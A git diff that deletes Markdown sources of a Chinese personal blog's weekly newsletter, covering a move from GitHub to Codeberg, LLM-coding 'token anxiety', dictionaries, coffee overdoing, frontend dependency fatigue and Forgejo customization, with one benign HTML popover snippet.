的时候突然想到:*为什么不直接把仓库搬去 Codeberg 呢?* - -于是我就这么干了。 - -如果你不知道 Codeberg 是什么:这是一个总部位于德国柏林的非盈利组织,可以说是世界上最自由的 Git 仓库托管平台。如果你不喜欢 GitHub 这样的被大科技公司控制的平台,Codeberg 是很好的选择。我打算给 Codeberg 捐款,可惜 PayPal 支付出了些问题,刚好春节回家了,银行卡没带在身边,只能等到三月份回去之后再操作了。 - -我其实还有一个自建的 Forgejo 实例,叫作 [Hydra](https://src.eltr.ac),还没有在博客正式介绍过。注册了 Codeberg 账号之后,我也开始思考一个问题:如果使用 Hydra,就对外来的贡献者不太友好,毕竟 Hydra 是不开放注册的;那么,应该在什么时候使用 Hydra 托管代码,什么时候将代码托管到 Codeberg 这样的公共平台上呢? - -目前我的想法是:将基本不会有贡献者的个人项目放在 Hydra 上(比如这个博客、一些网站的源代码、某些软件的配置文件等等),将欢迎其他人一起开发、有收集反馈的需求的项目放在 Codeberg 上。诚然,从 GitHub 换到 Codeberg,有机会发现我项目的人会少很多,但说真的,就算是我几年前写的有 500+ Stars 的 [Typecho 主题](https://github.com/BigCoke233/miracles),用户也都不是在 GitHub 直接发现这个项目的,而是从 Typecho 主题目录和我的博客发现的。新项目用 Codeberg 托管,反而能让更多的人意识到:噢,原来我可以离开 GitHub。 - -至于 GitHub 账号…… 斟酌过后,我决定暂时保留。一方面,诚实地讲,我的确舍不得那几百个 Stars 和一百多个 Followers;另一方面,不少我常使用的开源项目都在 GitHub 上,要给他们提 Issues 和 Pull Request,没有 GitHub 账号是不行的。我只是不会在 GitHub 上托管新的项目了,并且会逐渐把仍在维护的项目从 GitHub 迁移到 Hydra 或者 Codeberg 上。 - -整体而言,我是这样想的: - -1. Codeberg:为开源世界做贡献的主要阵地。 -2. [Hydra](https://src.eltr.ac/):托管小型的个人项目,博客、配置文件等等;也会镜像我发布在 Codeberg 上的仓库作为备份。 -3. GitHub:为那些没有托管在其他平台上的项目做贡献的地方(尽管不会很多)。 - -如果你想的话,可以关注我的 [Codeberg 资料页](https://codeberg.org/eltrac),这里还没有太多的东西,但是会慢慢丰富起来的。 - -### 现在可以手动切换亮色和暗色模式 - -我[上周](/posts/weekly/67)在周刊的开头表示自己正在重新思考博客的一些 UI/UX 设计,并且在联邦宇宙上发起了[投票](https://akk.eltr.ac/objects/b6776592-efc0-495f-9647-b3c46fa56385),结果令我震惊——原来我才是异端吗?! - -macOS 会根据当地日出日落时间在亮色和暗色模式之间切换,我也花了不少心思让 NeoVim 和自己的网站自动跟随系统配色,结果调查之后才发现,原来大部分人都不会切换操作系统的明暗配色!而且,还有一部分人出于隐私考虑,禁止网站读取操作系统的明暗模式(因为暗色模式的用户很少,追踪器可以用这个特征生成指纹),所以也有手动切换的需求。 - -总而言之,现在你可以在网站首页的导航栏下找到一个选择框,可以在「自动」「亮色」和「暗色」三种模式之间切换。 - -顺带一提,把代码推送到生产环境之后,我还遇到了一些奇怪的小插曲。如果你对这些技术细节感兴趣,可以到后花园阅读[这篇笔记](https://jar.geedea.pro/notes/hugo-not-building-scss/)。 - -### 咖啡因…… - -回家之后离开了自己的吧台和咖啡器具,我像头慌不择路的驴一样翻出了一台半年没用过的廉价美式滴滤机。由于我连称都没有,磨豆也只能用我爸那台意式咖啡机上自带的磨豆组件,更是控制不好分量和水量,于是就…… 毫不意外地喝多了。 - -*我怎么就没有意识到那台美式滴滤机做出来的一壶咖啡是给一家人喝的量呢?* - -总而言之,刚回家的那天下午,我发现自己喝过咖啡之后浑身不舒服,大脑…… 感觉很奇怪,有点不像自己的了。我很快发现自己的眼皮在规律地抽搐,整个身体进入了一种难以言喻的奇妙状态,在床上躺了好久都没缓解。当时我就知道,我整个下午都不会好受的,因为咖啡因代谢需要 4~6 个小时。 - -不知道你有没有读过我在本周二发布的《[如何用电车难题理解 Git](/essays/git-with-trolley/)》。我很确定,这篇*神得没边了*的文章有一半是咖啡因摄入过量导致的。 - -回忆了一下,以前的我尽管每天喝两杯,但每一杯咖啡也就 200~230 ML 的量,而我估计我刚回家的时候喝下的那一壶咖啡,应该有 500 ML 左右。 - -总而言之,喝咖啡要节制! - -## 切片 - -- 本周发现,我一直在用并且非常喜欢的 RSS 阅读器 NetNewsWire,竟然比我老!它今年 [23 岁](https://netnewswire.blog/2026/02/11/netnewswire-turns.html)了。不过说实话,有什么好震惊的,~~我本来就还年轻啊~~。 -- 一直在使用 DuckDuckGo 作为搜索引擎,它没什么不好的,但搜索这件事情的私密程度堪比写日记,如果有开源且自托管的方案就太好了。之前受 [Taxodium](https://taxodium.ink/) 的推荐,我还认真考虑了一下要不要订阅 Kagi,一个付费、无广告、注重隐私的搜索引擎。最近我一直在蹭 [Southfox](https://blog.southfox.me/) 搭建的 [SearXNG](https://github.com/searxng/searxng) 实例使用,体验非常丝滑。简单来说,这是一个会在用户搜索内容时从服务器请求其他搜索引擎,然后把内容聚合在一起的开源软件。SearXNG 还支持在访问某些网站时跳转到第三方的隐私前端(比如 [Nitter](https://nitter.net/))。我现在也很想自托管一个,就是最近做了太多运维工作,有些疲乏了,而且不清楚 SearXNG 的资源占用如何。 -- 情人节那天,Internet Archive 发布了一些复古的、保留到现在的[情人节插画设计](https://archive.org/details/%40iasocial/lists/13/valentines-2026),这些绘画风格很吸引我。我最喜欢的是[这张](https://archive.org/details/JohnMartinsBook192302),是一本儿童杂志的封面。 -- 如果没记错的话,今年情人节应该是世界上第一台通用计算机 ENIAC 的 80 岁生日。 - -[^1]: 来源:[BBC News (Internet Archive)](https://web.archive.org/web/20260130142200/https://www.bbc.com/news/live/cwy54q80gy9t) - -[^2]: Scramble 作为动词的意思是「爬」,Scrambler 可以理解为「爬行者」;在通信领域,Scrambler 指无线电的「保密器」,这层意思和小说中的设定可能会更契合一些。顺带一提,我之前也用 Scramble 这个词生造了一个叫作 Scramby 的词用来写怪谈作品,你可以在 Backrooms 读到:[Entity 60 - "Scramby"](https://backrooms-wiki.wikidot.com/entity-60)。 - - -[^3]: 顺带一提,Soatok 似乎也不太喜欢 Matrix 这个通信协议,他在 2024 年 8 月写过一篇[文章](https://soatok.blog/2024/08/14/security-issues-in-matrixs-olm-library/)解释 Matrix OLM 库的安全性问题;不过,时间已经过去一年多了,文章所述问题是否被解决,我就不太了解了。他比较认可的加密通信软件是 Signal。不过他也承认,对于那些不愿意使用手机号注册的非常在意隐私的技术用户而言,Signal 不太合适,也没有其他更好的选择。所以…… 还是继续用 Matrix 吧…… - -[^4]: 最开始写下这行文字时,我的了解不算全面,这里需要补充一些信息。如今的 GnuPG 实际上已经不支持最新的 OpenPGP 标准了,而是转而制订了新标准 [LibrePGP](https://librepgp.org/),这个标准分裂了。Sequoia 实现的才是最新的 OpenPGP 标准。嗯…… 总之 PGP 系的软件和标准还挺乱的。 - -[^5]: Apple Music 邀请有名气的艺人来分享音乐的一系列电台节目。 - -[^6]: 我还想补充的是,最近 Discord 也开始向全球的用户**自发地**进行年龄认证。没有政府要求他们必须这么做。 - -[^7]: 顺带一提,我之前还在 Backrooms 中文维基的时候,由于我们有 17 岁的年龄限制,很多社区维护工作都是在调查和处理那些在自己入站申请书上撒谎的小孩子。不过这个年龄认证也不会真的取证,只是要求成员「表现得成熟一点」。说真的,你难以想象这些小孩子能在小社群里闹出什么事情来…… diff --git a/content/posts/weekly/69.md b/content/posts/weekly/69.md deleted file mode 100644 index a7ee8b1c..00000000 --- a/content/posts/weekly/69.md +++ /dev/null @@ -1,224 +0,0 @@ -+++ -title = '稻草人周刊 Vol.69' -subtitle = '我不喜欢魔法' -tags = ['语言','AI','健康','认知','编程'] -categories = '稻草人周刊' -date = 2026-02-23 00:00:43 -draft = false -toc = true -toot = 'https://akk.eltr.ac/objects/8ef65a60-462b-4b0b-b380-a116393732fc' -+++ - -{{< music netease="https://music.163.com/#/song?id=1490999365" spotify="https://open.spotify.com/track/6Im9k8u9iIzKMrmV7BWtlF" apple="https://music.apple.com/cn/album/34-35/1537476578?i=1537476593" cover="https://r2.eltr.ac/geedeapro/posts/weekly/69/34-35-album-cover.jpg" title="34+35" artist="Ariana Grande" >}} - -如果第 69 期周刊都没有双关的话,~~那就是不尊重数字了。~~ - -> No shit. Math class. Never was good -> -> 真的,数学课,从来没学好过。 - -<!--more--> - -## 连接 - -### 词典有什么用? - -> [!note] 📻 -> [《独树不成林》306 - 词典有什么用?](https://www.xiaoyuzhoufm.com/episode/699775f7de29766da9f64ccd) - -很惊喜,写完《[论遣词造句](/essays/on-wording/)》这篇文章的三天后,我就听到了树老师的这期播客,讨论纸质词典的发展历史和现状,也谈到了语言的主观和规范等话题。 - -简单来说,词典在一开始是知识分子建立共识的工具,并非是像如今的《新华字典》一样人尽皆知的东西,如今人们认知中的词典其实是相当现代的产物。美国的韦氏词典,作为一本现代意义上的词典,实际上承担了相当大的政治作用,编撰者 Webster 本来想把它取名叫「美国语言词典」,因为当时美国正在从英国独立出来,所以他野心勃勃地想要创造出独立于 English language 的 American language,在文化上与英国做出区分。在中国,词典对用词乃至意识形态的规范,也是相当政治化的,比如「封建」一词就从对政体的中性描述,变成了贬义词,与「落后」关联起来,如今人们能轻松地说出「封建落后」这个词——用播客中的话来说:这是马克思主义对中文的强奸。还有「爹味」一词,也是互联网上的女性主义者对「爹」的贬义化,女人用这个词批评男人,男人用这个词自省,人们也用这个词评价女性。 - -不过,近年来,在词典行业内部已经建立起了这样的共识:词典不再主动规范语言,而是描述语言的变化。英语中 Literally(字面意思上地)这个词被滥用,以至于意思变得完全相反,人们可以自然地说出「I would literally die if I do that」(那么做的话,我字面意思上地就死了)这种话,这成了语气词,用来表示夸张。这显然是错误的用法,但词典不再揪着错误不放,而是把错误归入词典的一部分,描述这种变化:这个词也有表示夸张的意思,一些人会对这种用法感到不舒服,但就是有人会这么用。 - -播客最后讲到,语言本身就无法做到绝对的客观公正,事实上一些力求客观公正的人,也是用着主观的标准来判断是否客观公正的。过去人们尝试过规范语言,但无法做到。如今人们面临的困境,比如互联网俚语对词汇的污染,实际上和以前没有什么不同,以往任何一个时代的词典编撰者,都会说「这是语言最混乱的时代」,各种现象给语言带来了大量的新词汇,而互联网只是其中之一。即便互联网的信息传播速度再快,人类的脑容量也是一如既往地小。 - -无论语言怎么主观、怎么混乱,都是一个「凑合着用」的东西,只不过「凑合着用」的标准在不同的人眼里也是不同的,语言的使用也有高低之分。 - -顺带一提,我在这周发布了[用词表](/glossary/)页面,阐述了我的用语习惯和原则,意在自我规范。如果你感兴趣可以读读,也可以考虑给自己的博客加上 `/glossary` 页面。 - -### Token 焦虑和老虎机 - -> [!note] 📜 -> ["token anxiety"; or, a slot machine by any other name](https://jkap.io/token-anxiety-or-a-slot-machine-by-any-other-name/) - -许多美国科技公司开始学习中国的 996 工作制度,作者担忧雇主对 Agent 编程的鼓励(甚至强求)会让不道德的工作制度更容易实施,毕竟,如果你做的只是告诉电脑应该怎么做、审查它的代码、每天用十几个小时「带娃」,你真的是在工作吗? - -也有不少人意识到,使用 LLM 编程就像是玩老虎机,让人以为只要再写一句提示词、再拉一下拉杆、再审查一遍代码、再听一句「You're Absolutely Right!」,就能得到梦寐以求的产品。实际上这不会发生,*但如果呢?* 有不少重度 Agent 编程使用者,发觉自己有成瘾倾向。作者指出,新型的瘾症往往需要一段时间以后才会被当作需要治疗的症状。对 LLM 上瘾完全有可能是下一个被发现的新瘾症。[^4] - -动脑筋想一想:在工作场所推行(甚至强制使用)具有成瘾性的技术,实际上就是在让员工*对工作上瘾*。这不是很可怕吗?这真的道德吗?这会成为常态吗?情况会不会变得越来越糟糕?尽管我还没有开始工作,但我有在 V2EX 等中文程序员社区发现有公司开始给员工购买 AI 编程工具,这种风气似乎也会席卷国内? - -容许我跑个题,如果读者有使用 LLM 的不良习惯,并且已经意识到了一些问题,我有或许值得一试的方法:选择一门小众到互联网上的公开信息少之又少的领域,让 LLM 没办法帮你。至少,我在折腾 [Akkoma](https://akkoma.social/) 的时候,LLM 只会自信地给我生成一大堆根本用不了的命令;我在自定义 [Forgejo](https://forgejo.org/) 的界面时,LLM 一直误导我,使我走了许多弯路、几次放弃,最后发现有一篇官方文档已经给出了详尽的指导——语料缺失了,幻觉就愈加明显。此外,我写 [Clojure](https://clojure.org/) 代码觉得有新鲜感和动力的很大一部分原因是,我知道 LLM 几乎帮不了我,而且,这门语言本身就足够有趣,我为什么要让 LLM 剥夺我的智识享受? - -想象刷视频和阅读的区别,两者都能带来满足,性质却是完全不同的。**永远都要选择后者**。 - -### 高强度脑力活动对体能锻炼的影响 - -> [!note] 📜 -> [Thinking Hard Burns Almost No Calories—But Destroys Your Next Workout](https://vo2maxpro.com/blog/thinking-hard-burns-no-calories-destroys-workout) - -大脑每天消耗总热量的 20%,是最耗能的器官,但高强度的脑力活动并不会让大脑消耗更多的能量。这 20% 的热量主要用来维持神经元活跃,什么也不想和拼命思考,每分钟消耗的能量不会有实质性的差别。 - -然而,大量的脑力活动却对锻炼有影响,可能降低运动表现。 - -简单来说,脑力劳动会增加腺苷的积累。根据我从《[绝佳时间](/library/2025/绝佳时间/)》这本书里了解到的为数不多的生理知识,腺苷是「疲劳信号」,而咖啡因会阻碍腺苷与受体结合,这就使得咖啡具有提神作用,腺苷受体被阻碍过后,大脑就感觉不到疲惫了。高强度脑力活动会加快腺苷的积累,让人感到疲劳,如果在腺苷积累后锻炼,大脑对疲劳的判断就会提前,导致身体没累,但大脑觉得它累了,无法坚持下去。 - -总之,避免在长时间工作后进行剧烈运动。我的建议是把运动放在早上,那个时候腺苷的数量最少,而且运动还会使得身体释放其他激素,对专注有益。这篇文章的作者建议,每周安排两次高强度锻炼,在锻炼当天避免长时间工作,或者间歇性休息、放松、进行需要大脑参与更少的活动。其他日子也可以进行较低强度的运动,影响不大。 - -### 当「当预言失灵」失灵 - -> [!note] 📜 -> [I swear the UFO is coming any minute](https://www.experimental-history.com/i/187399837/1-when-when-prophecy-fails-fails) - -在《[如何在黑暗的房间里找到一只黑猫](/library/2025/如何在黑暗的房间里找到一只黑猫/)》里读过一段故事,我在之前的文章中也引用过: - -> 这样被认知裹挟的例子,可以引入美国社会心理学家利昂·费斯廷格的认知失调理论来解释。这位心理学家和同事发表于上世纪五十年代的著作《当预言失灵》中讲了这样一个故事:一个小型的宗教相信世界会在 1954 年 12 月 21 日毁灭,只有信徒才会被外星人救走,当「世界末日」到来时,所有信徒都在屋子里祈祷,可十二点之后,什么都没有发生。在数十分钟的安静之后,这些信徒分别作出了以下解释来合理化自己的认知: -> -> 1. “或许是房间里的钟错了,我们应该再等等。” -> 2. 确认钟没有问题之后,有人说:“或许是外星人使用了不同的时区,我们应该再等等。” -> 3. 外星人直到早上也没有来,于是宗教领袖决定到房间外接受外星人的启示,之后她们告诉信徒:“因为你们的虔诚,人类被宽恕了,地球不会毁灭。” - -{{< right "——《[挑食如何帮我发现自己的认知边界?](/essays/挑食如何帮我发现自己的认知边界/)》" >}} - -一篇[新的研究报告](https://gwern.net/doc/psychology/cognitive-bias/2025-kelly.pdf)表明,案例中的宗教团体,有近半数都是卧底的研究人员,其中一个成为了他们的领袖,引导他们说出一些写在书里会有看点的话。当预言失灵时,其实有一部分成员收回了之前的言论,或者直接离开了。 - -这么看来,《当预言失灵》的罪行简直跟《[天才在左,疯子在右](/library/2025/天才在左-疯子在右/)》一样恶劣。后者是伪装成「真实精神病人访谈手记」的**网络小说**,不仅欺骗读者,还污名化精神病人;前者明明是正经的社会心理学著作,可竟然误导大众,在研究层面造假。书可以烂但不能骗人。 - -### 我不喜欢魔法 - -> [!note] 📜 -> [Magic](https://adactio.com/journal/22399) - -作者表达了他对软件开发中的「抽象层」的厌恶,尤其是前端开发中的 React 和充满了魔法的 LLM。作者承认他的态度不够务实也不够「商业」,对那些想找工作的开发者没什么价值,他的态度更像是「控制狂」——必须理解程序调用的每一行代码,盲目相信第三方库和第三方框架让他感到不舒服。也因此,他讨厌 NPM,因为通过 NPM 安装一个 JavaScript 库,这个库会转而安装更多的 JavaScript。 - -这不怪他,要怪就怪 JavaScript 生态,依赖地狱已经是常态,就算换用 PNPM 和 Bun 这些更现代的工具也无法解决。我已经不知道有多少个人吐槽过前端开发的体验极差,有大部分工作都是在维护和更新依赖。 - -*一只戴着眼镜的蓝色地鼠突然拖着小黑板出现,指着一行粉笔字念到:* - -> A little copying is better than a little dependency.[^2] -> -> 来点依赖不如复制粘贴。 ☝️🤓 - -可惜几乎所有前端开发者都习惯了引入一大堆依赖库,这大概也是为什么 NPM 软件包这么容易被投毒吧…… *谁来救救我们前端开发者……* - -至于 LLM,这种软件本身就是个巨大、复杂、计算昂贵的东西,用它来写代码尽管不需要维护很多依赖项,但也相当于是把自己没有理解的、别人写的代码放进代码库里,作者把它比作「涡轮加速且有更多抽象层的 NPM」。 - -过度依赖第三方库和框架,和过度依赖 LLM 编程,都会让代码变得难以维护。作者认为他对抽象层的厌恶来源于他对项目的忠实,他做的很多都是计划运行十多年、几十年的长期项目,因此,他更喜欢让自己更接近 HTML、CSS 和 JavaScript,扔掉 React 做的那层不必要的抽象,这使得长期而言,代码变得更容易维护。 - -扔掉了魔法,虽然开发速度慢,但开发体验令人愉悦——没有依赖地狱,也没有别人写的、自己不理解的代码,这种让人坐立难安的东西。 - -~~嗯,总而言之,远离 React——真可谓是前端界的 Java。~~ - -## 星群 - -### AllLookSame? - -各种测试题,给难以分辨区别的人事物归类,其中一套题是在纽约街头拍到的 18 张中日韩人的照片,测试题的内容是分辨某张照片的人是中国人、日本人还是韩国人。 - -我答对了…… 8 题…… 平均成绩是 7…… - -中日韩人真的有明显的外貌区别吗? - -此外,这个网站居然还是用 WordPress 做的,所以每道题之间加载时间太长我也没感到意外。WordPress 比起博客软件,说是通用型的建站软件还差不多,其功能何止是臃肿。 - -访问:[AllLookSame](https://alllooksame.com/) - -### Hacker News 的 macOS 客户端 - -为 [Hacker News](https://news.ycombinator.com/) 设计的 macOS 原生客户端,用 SwiftUI 编写。~~这下在 macOS 上摸鱼变得更容易啦!~~ - -引用 Hacker News 上的一条回复: - -> No No. Don’t do that, don’t make it better and easy to use. I’m already addicted and spent more time than I should. Now, this app that I can keep it open all day! -> -> 不不不,别这么做,别做得更好更易用了。我本来就上瘾了,花了不该花的时间。现在这个 App 我能一整天打开看! - -访问:[IronsideXXVI/Hacker-News](https://github.com/IronsideXXVI/Hacker-News) - -### modern.css - -列举了一些老旧的前端开发模式,并给出了现代的 CSS 替代方案。比如弹出窗口就完全不需要用到 JavaScript,使用浏览器的 Popover API 就可以,可以只用 HTML 和 CSS 实现。本站也利用这个 API 移除了部分 JavaScript 代码。 - -访问:[modern.css](https://modern-css.com/) - -## 当下 - -### 装修桉树 - -除夕夜当然没看春晚,而是在给 [Eucalyptus](https://akk.eltr.ac/)(我的联邦宇宙服务器)安装新的前端。由于我使用 [Akkoma](https://akkoma.social/)(Pleroma 的分支),而我很喜欢的 [Phanpy](https://phanpy.social/) 是为 Mastodon 设计的前端,Akkoma 自带的 Pleroma-fe 虽然不丑,但并不好用。于是,我安装了 [Nicolium](https://codeberg.org/mkljczk/nicolium),这个前端的设计更接近 Mastodon(以及 Twitter),对 Akkoma/Pleroma 的兼容性很好。 - -不过,Nicolium 也有我不太喜欢的地方,比如依赖 CSS-in-JS(一种在 JavaScript 里为元素编写样式的技术),还是用 React 编写的,所以性能…… 只能将就。*偷偷把「写一个兼容 Akkoma 的前端」加入愿望清单。* - -尽管装新前端主要是为了优化自己的网上冲浪体验,但如果读者需要到文章对应的帖子底下评论的话,有一部分人可能会直接访问 Eucalyptus,如果有更友好、更现代的前端,对访客而言也是好的。 - -### 博客的调整 - -如果你翻到最底下,会发现文章的互动区有了一些改动: - -首先,点击 `+` 按钮,互动浮窗会在网页正中间打开,这是通过 CSS 的 `popover` API[^5] 实现的,我把相关的 JavaScript 移除了。这个 API 很好用,要实现弹出窗口只需要: - -```html -<button popovertarget="mypopover">Toggle the popover</button> -<div id="mypopover" popover>Popover content</div> -``` - -我想起还有同样好用的 `<details>` 标签,也能不借助 JavaScript 实现交互效果。点击互动区的一行字会展开 Webmention 回应(如果有的话),这个之前也是用 JavaScript 实现的,完全可以使用纯 HTML 的方案。 - -我还顺便优化了 Webmention 的样式,现在应该会看起来更舒服一些。 - -另外,最近总是在博客谈起 Webmention,但这项技术的普及率还是太小了,有许多人都不会用,中文资料少得可怜。我想我可以写一篇相关的文章,做点贡献。不过这意味着我要再深入了解一下这个规范,读读 W3C 的原文。 - -要对一门技术熟悉起来,最好的方式当然是…… 实现它!所以,我创建了 [Weepinbell](https://codeberg.org/eltrac/weepinbell),准备用 Clojure 写一个 Webmention 接收端。不过目前还处在新建文件夹的阶段。[^3] - -### We code and we fight. - -自定义了我的 Forgejo 实例的外观,把主题色改成了「鼠尾草色」,图标改成了「三头龙」。首页的模板也改了,现在访问[首页](https://src.eltr.ac/)只会看到图标和站点名字,干净不少。 - -技术细节请移步[罐子里的相关笔记](https://jar.geedea.pro/notes/customizing-forgejo/)。 - - - -其实刚装上 Forgejo 的时候我就动了自定义的心思。根据[官方的说法](https://forgejo.org/docs/next/admin/advanced/customization/#a-word-of-warning-here-be-dragons),修改前端界面的做法其实是「不被支持」的,而 Forgejo 本身比较小众,教程少之又少。当时的我~~心术不正~~,求助于*愚蠢又自信*的 ChatGPT,还在 DeepSeek 和 Kimi 之间辗转,没有一个帮我解决了问题,都非常自信地给我生成了一大堆根本用不了的解决方案。 - -这周又动了心思,重蹈覆辙,沮丧之际发现这篇[官方文档](https://forgejo.org/docs/next/contributor/customization/)提供了相当详细的指导,耐下性子读完过后就…… 非常顺利地实现了需求。 - -教训:不要吃 LLM 反哺的垃圾, - -对了,我还没有在博客上解释过我的 Forgejo 实例为什么叫 Hydra。主要有两个原因: - -1. 之前读过一篇文章,把创建个人项目,实现想法,比作「与恶龙战斗」。依稀记得原文写的是「Fight the Project Hydra」。忘记标题和来源了,但内容一直记得。 -2. 在 [SVG Repo](https://www.svgrepo.com/) 上找到一个三头龙的图标,乍一看真的很像 Git 分支。 - -### 谈话间,有人又重写了个人主页…… - -上一版个人主页存活时间可能还不到一周吧!不过技术选择倒是没改,还是 Clojure。改来改去的主要原因是对结果一直不满意,现在感觉还不错,首页大概是不会改了,其他页面可能会调整一些细节。可以访问 [eltr.ac](https://www.eltr.ac) 看看效果,欢迎来玩。 - - - -设计新主页的时候还找了很多参考,当时在联邦宇宙上发了个[讨论串](https://akk.eltr.ac/objects/33e0109a-a40b-4ada-8e0b-a79df028b399)收集素材,顺带提及那些我喜欢的创作者,送去喜爱,没想到收到了一些 Fedi 友的推荐。这里列出一些我比较喜欢的链接: - -- [anhvn](https://anhvn.com/):关注了 anh 的 [Mastodon 账号](https://mastodon.online/@latte),某天发现她发了一条帖文,内容是「every other day im like i gotta redesign my website…………」[^1]。感同身受呢。 -- [wukko](https://wukko.me/):我在使用的 [Helium](https://helium.computer/) 浏览器背后的开发者,他的个人主页简洁得十分优雅。头像是《宝可梦》里的喵喵,点击头像会下喵喵雨,*天哪……* -- [meyerweb](https://meyerweb.com/):很喜欢背景的质感和插图。 -- [caffeine.computer](https://caffeine.computer/):想在我主页的某个角落放一个写着「千万别点!」的按钮,按下去之后我的头像就会变成一个有克苏鲁风格或者怪核风格的眼睛,背景会变成黑色,文字描述也会变得诡异…… - -## 切片 - -- 长辈对电子设备没有距离感,觉得屏幕是可以随便看的东西,尤其是电脑这么大的屏幕。还好,我浏览的页面有相当大一部分都是英文的,只会给他们留下「我在好好学习」的印象,这就是学外语带来的便利吧。 -- *我究竟是买块大点的硬盘呢,还是再攒攒买台 Steam Deck 呢,还是买台 Steam Deck 呢,还是买台 Steam……* - - 不过话说回来,要逐步脱离苹果生态和 iCloud 的话,我的确需要一块硬盘用来存个人数据,以及做本地备份,可现在这个行情买硬盘属实是太不赶巧了。 - - *Deck 呢,还是买台 Steam Deck 呢,还是……* -- 在看《蛇蝎女佣》,目前看到第三季,主创也创作了《绝望的主妇》这部经典美剧。*嗯,很好看的狗血剧情。* 没别的,纯粹消遣。 - -[^1]: 译文:“每隔一两天我就这样:我必须重新设计我的网站……” - -[^2]: 这句话来自 Go 语言创始者之一 Rob Pike,参见[这个 YouTube 视频](https://www.youtube.com/watch?v=PAAkCSZUG1c&t=9m28s)。 - -[^3]: ~~名字想好了,连图标都找到了,明明是很大的进展!~~ - -[^4]: 顺带一提,欧盟似乎已经对 TikTok 采取措施,认为短视频的推荐算法和无限滚动模式是具有成瘾性的。如果 TikTok 不整改,就会被罚款。参见:[Solidot](https://www.politico.eu/article/tiktok-meta-facebook-instagram-brussels-kill-infinite-scrolling/) - -[^5]: 有关这个特性的资料,可以查阅 [MDN](https://developer.mozilla.org/en-US/docs/Web/API/Popover_API)。 diff --git a/content/posts/weekly/7.md b/content/posts/weekly/7.md deleted file mode 100644 index 9653bf89..00000000 --- a/content/posts/weekly/7.md +++ /dev/null @@ -1,138 +0,0 @@ -+++ -title = "稻草人周刊 Vol.7" -subtitle = "书中自由" -description = "收到了 Broca 的书、在写作时看见读者、使用的肢体语言技巧、危险的想象力、断舍离" -date = 2024-12-16 09:55:00 -categories = "稻草人周刊" -draft = false -aliases = [ - "/posts/weekly/稻草人周刊-vol-7/", - "/posts/稻草人周刊-vol-7/", - "/posts/weekly/7", -] -+++ -> [!note] 💡 -> 你正在阅读 [稻草人周刊](/categories/稻草人周刊/) 的第 7 期。 - -> [!note] 📜 -> 从这期开始,以后的周刊会更注重简单、易于传播的观点,也会更像文摘,收集来自各处的有价值内容。 - -<!--more--> - -## 🏃 - -有幸收到了 [Broca](https://brocalife.com) 寄来的书,是他在博客提到的那本收录了他十年所写的文章的《夜海行舟》。纸张摸起来很舒服,也很喜欢线装本的翻阅手感。 - -{{< gallery >}} - - - - - -{{</ gallery >}} - -其实今年六月的时候,Broca 就在 QQ 上跟我聊到他打算把自己的博客印成书,后续也有和我分享进展。我也是现在才发现,他原来在六月十一日的时候就把书名告诉我了,我居然没有记住,罪过罪过。 - -和书一起寄送的还有一张 Broca 亲笔签名的明信片,以及一个印有富马酸喹硫平片药盒图样的书签。这张明信片也出现在了[我今年的读书总结](/posts/in-libris-libertas/)中。 - -{{< gallery >}} - - - - - - - -{{</ gallery >}} - -已经裱起来了,是很有意义的礼物,会好好珍藏的。此外,图中的这个小册子里面还有很多其他人给我的明信片,或者是其他的纸品类的收藏,改天可以写篇文章讲一讲这个册子里的故事。 - -## 🤔 - -### 在写作时看见读者 - -我在《[自我外化与表达欲](/posts/自我外化与表达欲/)》中写到,写作是自我的表达;在《[写和说的区别](/posts/写和说的区别/)》里提到,写作和演讲的共性,是个体的单向输出。 - -在我们通过写作向内探索时,如 [ONO](https://onojyun.com) 所言,很有可能变成对外的「宣讲」。在写作时看见读者,我想,是自我意识趋于秩序的体现,是把自我从混沌中剥离的必要步骤。写作是自我的心安之地,因为在这里,个体的灵魂可以得到肆无忌惮的宣泄,可一旦要在隐居之地考虑别人,事情就不那么愉快了。 - -并不是所有的博客、所有的博客文章,作者都需要看见读者。博客作为一块心安之地,也有它的价值,况且,自说自话也有人喜欢读,能洞察他人的内心世界,是一件很奇妙的事情。 - -如果目的是传播想法、讨论和追求真理,我想,「看见读者」就是必要的。如果你希望写一点这样的内容,以下是我总结的一些方法论: - -1. **保持简短**。「长文不看」并不是读者的罪,在宣泄自己滔滔不绝的表达欲时,请思考:你真的需要写这么多来表达一件事情吗?很喜欢[二千七百五十言](https://pathos.page)这个博客的思想——*在一篇文章中,尽量以最简洁的叙述,以最节约作者和读者时间的方式,将一个而不是太多的问题讲清楚*。 -2. **打磨中文**。可以读读思果的《翻译研究》,就算不做翻译,也能从中学到「中国的中文」的思想。中文其实严重欧化了,人们习惯把简单的词句用像英文的结构写出来,这会增加字数。 -3. **思考争议点**。试着先读者一步,指明你观点中可能有争议的地方,写「你可能会说……」「有人会反驳……」这样的句子。 -4. **承认偏见**。这点尤其适用于谈论「经验」的文章,认识到自己经历的局限性,一次经历并不代表多数情况。就算你认为你是对的,也请在文章中大方承认「我的观点可能有偏见」。 -5. **别人读完会怎么想**?这条算是核心,前面提到的在字数、文法上保持简洁,在争议和偏见上先人一步,都是为了保证读者的观感。 - -### 实用的肢体语言技巧 - -<iframe src="//player.bilibili.com/player.html?isOutside=true&aid=113623208821404&bvid=BV1r2qPYmEif&cid=27259502990&p=1&autoplay=0" scrolling="no" border="0" frameborder="no" framespacing="0" allowfullscreen="true"></iframe> - -#### Power Cues:让人感到自信和力量的技巧 - -- **0:59:03** 双手形成一个尖塔,展示自信,又不让人觉得另有所图 -- **1:00:57** 保持耳垂和肩膀的距离,不要耸肩 -- **1:02:32** 在句末和听话人进行眼神接触 -- **1:04:04** 下眼睑收缩,显示专注感,表示自己很关心对方说的话(也可能表示怀疑) -- **1:07:57** 避免上扬的疑问语调,在句末用下沉语调 - -#### Warmth Cues:让人觉得有亲和力的肢体语言 - -- **1:16:30** 三下点头,速度适中(太快可能被会理解为不耐烦) -- **1:17:30** 歪头 -- **1:20:23** 真诚的微笑 -- **1:21:00** 身体前倾 - -还有个有趣的技巧,播客里嘉宾说是精神操控者喜欢用的手势:手掌上下做圆周运动,并且伴随点头的动作,对方也会忍不住点头,这往往能让对方附和你的观点。 - -### 危险的想象力 - -> 激发大众想象的不是事实本身,而是事实传播和呈现的方式。 - -——《乌合之众》 - -在《Atomic Habits》中,作者提到「顾客会因为商品呈现的方式,而非自己真实的需求买单」。 - -在名为《更好生活》的一期 Newsletter 里,也有这样的话「消费者的确会以貌取物。即使我们拥有最好的产品、最佳的品质和最强大的软件,但是如果产品的呈现方式粗糙敷衍,人们就会认为我们的产品和服务也是草草了事。」。 - 